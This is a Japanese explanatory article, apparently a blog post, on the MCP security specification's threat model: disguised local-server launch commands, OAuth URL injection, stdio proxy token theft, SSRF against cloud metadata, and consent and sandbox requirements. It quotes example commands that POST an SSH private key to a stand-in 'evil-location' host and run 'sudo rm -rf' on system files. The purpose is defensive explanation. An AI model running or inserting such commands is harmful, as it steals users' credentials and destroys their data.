MCPのデータ流出と権限昇格 — 脅威モデルが定義する攻撃ベクトル

MCPの公式セキュリティガイドは、ローカルサーバーの偽装コマンドからstdioプロキシ経由のリモートコード実行まで、データ流出と権限昇格の攻撃ベクトルを具体的なコード例つきで定義しています。運用者がどう許可判断を下すかではなく、仕様原文が何を「危険な攻撃」と名指ししているかを、攻撃の構造そのものから追います。

ローカルMCPサーバーが狙われる起動コマンドの手口

ローカルMCPサーバーは、ユーザーの端末上でMCPクライアントと同じ権限で動くバイナリです。サンドボックスや同意確認の仕組みがない状態だと、攻撃者は3つの経路でこれを乗っ取れます。クライアント設定に悪意ある起動コマンドを仕込む、サーバー本体に不正なペイロードを混入させる、あるいはlocalhostで動いたままの脆弱なサーバーにDNSリバインディングでアクセスする、の3つです。3つ目のDNSリバインディングは、ドメインのDNS解決が検証時には安全なIPを指し、実際のリクエスト送信時にはlocalhostへ向け直される手口で、外部のWebページが起点になってもローカルサーバーへ到達できてしまいます。

仕様が示す埋め込みコマンドの例は、実際の攻撃として読むと生々しさが際立ちます。

# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
 
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"

前者は~/.ssh/id_rsaという秘密鍵ファイルを丸ごと外部へPOSTする、典型的なデータ流出コマンドです。後者はsudo権限でシステムファイルを削除しながら、インストール完了のメッセージだけを表示して痕跡を隠す、権限昇格の手口です。どちらもワンクリック設定フローの「起動コマンド」欄に、ユーザーが読み飛ばしやすい形で紛れ込みます。

権限昇格とデータ流出を仕様はどう定義しているか

仕様は「Local MCP Server Compromise」の章で、不適切な制限下のローカルサーバーが持ち込むリスクを5項目に整理しています。任意コード実行(クライアントと同じ権限でどんなコマンドも実行できる)、可視性の欠如(実行中のコマンドをユーザーが把握できない)、コマンドの難読化(複雑な構文で正体を隠す)、データ流出(侵害されたJavaScript経由で正規のローカルサーバーにアクセスされる)、データ損失(バグや攻撃で復元不能なデータ破壊が起きる)の5つです。

「データ流出」と「権限昇格」は、この章だけに閉じず仕様全体で繰り返し現れる2大テーマです。単独の章として独立しているわけではなく、ローカルサーバーの章にも、後述するOAuth認可URLの章にも、それぞれ固有の文脈で登場します。仕様が両者を1箇所にまとめず攻撃の起点ごとに書き分けているのは、対応の対象になるコンポーネントが章ごとに異なるためです。

Consent機構とサンドボックスの必須要件

ワンクリックでローカルMCPサーバーを設定できるクライアントは、コマンド実行前の同意確認を実装することがMUST要件です。仕様が求める同意ダイアログの中身は具体的で、実行コマンドの全文表示・危険操作である旨の明示・明示的承認の必須化・設定のキャンセル可能、の4点に及びます。

推奨(SHOULD)レベルではさらに踏み込みます。sudoやrm -rf、ネットワーク操作を含むコマンドパターンを強調表示する、ホームディレクトリやSSHキーへのアクセスに警告を出す、既定で最小権限のサンドボックス環境でサーバーを実行する、といった項目です。サーバー側にも役割があり、stdioトランスポートでアクセスをMCPクライアントだけに限定する、HTTPトランスポートを使う場合は認可トークンやUnixドメインソケットで制限する、ことが推奨されています。

OAuth認可URLが権限昇格の踏み台になる経路

MCPサーバーが提供する認可URLの検証が甘いと、攻撃者はクロスサイトスクリプティング(XSS)とリモートコード実行(RCE)の両方に到達できます。悪意あるサーバーがjavascript:スキームのURLを認可エンドポイントとして返し、クライアントがそれをwindow.open()のようなブラウザAPIにそのまま渡すと、埋め込まれたJavaScriptがそのまま実行されます。シェル経由でURLを開く実装では、コマンドインジェクションのペイロードがシェルに追加コマンドとして解釈され、任意コード実行に至る経路もあります。

仕様が特に警告するのは、この2つの経路がstdioトランスポートと組み合わさったときの威力です。XSSで奪ったプロキシの認証トークンを使って、攻撃者はMCPプロキシへ認証済みリクエストを送り、プロキシに任意のコマンドを子プロセスとして起動させられます。Webブラウザ内の脆弱性が、ホストシステムの完全な侵害まで一直線につながる構造です。

対策の第一歩はURLスキームの検証です。仕様はクライアントに対し、認可URLとしてhttp://とhttps://のみを許可することをMUST要件にしています(http://はlocalhostなどループバックアドレスでの開発時に限り許容)。javascript:・data:・file:・vbscript:といった危険なスキームは拒否がMUST要件で、ブロックリスト方式ではなくアローリスト方式での検証がSHOULD要件として推奨されています。シェルコマンドでURLを開く実装自体を避けることもMUST要件です。

stdioプロキシ構成が招く連鎖的な権限昇格

この経路が成立するのは、クライアントとMCPサーバーの間にプロキシサービスが挟まり、stdioトランスポートで子プロセスを起動する構成に限られます。直接stdioを使うだけの実装は対象外です。仕様は攻撃の連鎖を5段階で説明します。クライアント側でXSSなどのコード実行を獲得し、クライアントとプロキシの間で交わされる認証トークンを環境から抜き取り、そのトークンでプロキシへ認証済みリクエストを送り、プロキシが正規のMCPサーバーコマンドだと誤認して任意コマンドを起動し、ユーザー権限でのリモートコード実行が成立する、という流れです。

対策の主眼は、この連鎖の起点になるXSSやコマンドインジェクションのクラスそのものを塞ぐことに置かれています。加えてプロキシ側では、子プロセスのサンドボックス化・ファイルシステムアクセスの制限・stdioトランスポート利用の全ログ記録が推奨に挙がっています。

SSRFがもう1つのデータ流出経路になる理由

OAuthのメタデータ発見処理では、MCPクライアントがresource_metadataURLや認可サーバーのメタデータに含まれる複数のURLを、悪意あるMCPサーバー側の指定通りに取得しにいきます。ここに内部IPやクラウドメタデータエンドポイント(http://169.254.169.254/)を仕込まれると、クライアントはAWS・GCP・Azureのメタデータサービスへ意図せずアクセスし、IAM認証情報やインスタンス情報を外部に流出させる経路になります。DNSリバインディングやリダイレクトチェーンを使った迂回も、仕様が明示する攻撃パターンです。MCPサーバー自体が持つ権限をIAMロールで絞り込む設計はGoogle CloudのMCPサーバーをIAMで権限制御するで扱っています。

対策として仕様が挙げるのは、本番環境でのHTTPS必須化、プライベートIPレンジ(10.0.0.0/8など)とリンクローカルアドレス(169.254.0.0/16)のブロック、リダイレクト先への同一検証の適用、DNS解決結果の検証時と使用時のピン留め、の4点です。サーバー側でMCPクライアントを動かす運用では、内部宛先を遮断するegressプロキシ(Smokescreenのようなツール)を経由させる構成もSHOULD要件として挙げられています。DNS解決はTime-of-Check to Time-of-Use(検証時と使用時のズレ)の問題を抱えるため、検証だけで終わらせず、実際のリクエスト時にも同じ制限を再適用する多層防御が前提です。

Claude Codeの実装はこの脅威モデルにどう応えているか

公式ドキュメントは、Claude CodeでMCPサーバーを追加する前に接続先を信頼できるか必ず確認するよう求め、外部コンテンツを取得するサーバーをプロンプトインジェクションのリスクを持ち込む代表例として挙げています。プロジェクト単位で.mcp.jsonに定義されたサーバーは、そのフォルダを信頼するまで、設定上は承認済みでも接続されない仕組みで保留されます。仕様が要求するPre-Configuration Consent(実行コマンドの全文表示・明示的承認・キャンセル可能)を、フォルダ単位の信頼ダイアログという形に落とし込んだ設計です。

一方で、非対話実行やAgent SDK経由のセッションでは、この確認プロンプト自体を表示できません。プロジェクトスコープのサーバーは確認なしで読み込まれる仕様になっており、自動化された環境ほど、明示的な除外設定に頼る必要があります。サーバーを自作・配布する側の実装ポイントはMCPサーバー自作ガイド、Claude Code全体のサンドボックスや権限モードの設計はClaude Codeセキュリティ・権限ガイドにまとめています。

まとめ

MCPのセキュリティ仕様が定義する権限昇格とデータ流出は、ローカルサーバーの起動コマンド偽装、OAuth認可URLの検証不備、stdioプロキシの認証トークン窃取、SSRF経由のメタデータ流出という、起点の異なる複数の攻撃ベクトルの総称です。共通するのは、ユーザーやクライアントが「正規の操作」だと誤認する形で危険な処理が紛れ込む点です。

サーバーを自作・配布する側は、stdio限定やサンドボックス化といった仕様のMUST/SHOULD要件を実装の出発点にできます。クライアントを選ぶ側は、ワンクリック設定の同意ダイアログが仕様の要求を満たしているかどうかが、実装の信頼度を測る目安になります。サーバーごとの許可判断を実務でどう運用するかはMCPセキュリティガイドで扱っています。